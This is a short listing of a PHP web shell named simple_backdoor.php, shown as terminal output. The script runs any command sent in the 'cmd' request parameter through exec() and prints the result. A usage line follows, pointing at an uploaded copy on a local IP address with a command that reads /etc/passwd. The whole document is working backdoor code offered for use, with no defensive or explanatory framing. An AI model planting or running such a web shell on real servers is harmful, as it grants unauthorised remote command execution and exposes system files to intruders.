# cat simple_backdoor.php
<!-- Inpired by DK's Simple PHP backdoor (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
      echo "<pre>";
      $cmd = ($_REQUEST['cmd']);
      exec($cmd, $results);
      foreach( $results as $r )
      {
              echo $r."<br/>";
      }
      echo "</pre>";
      die;
}
?>
Usage: http://http://192.168.4.3/uploaded_files/simple_backdoor.php?cmd=cat+/etc/passwd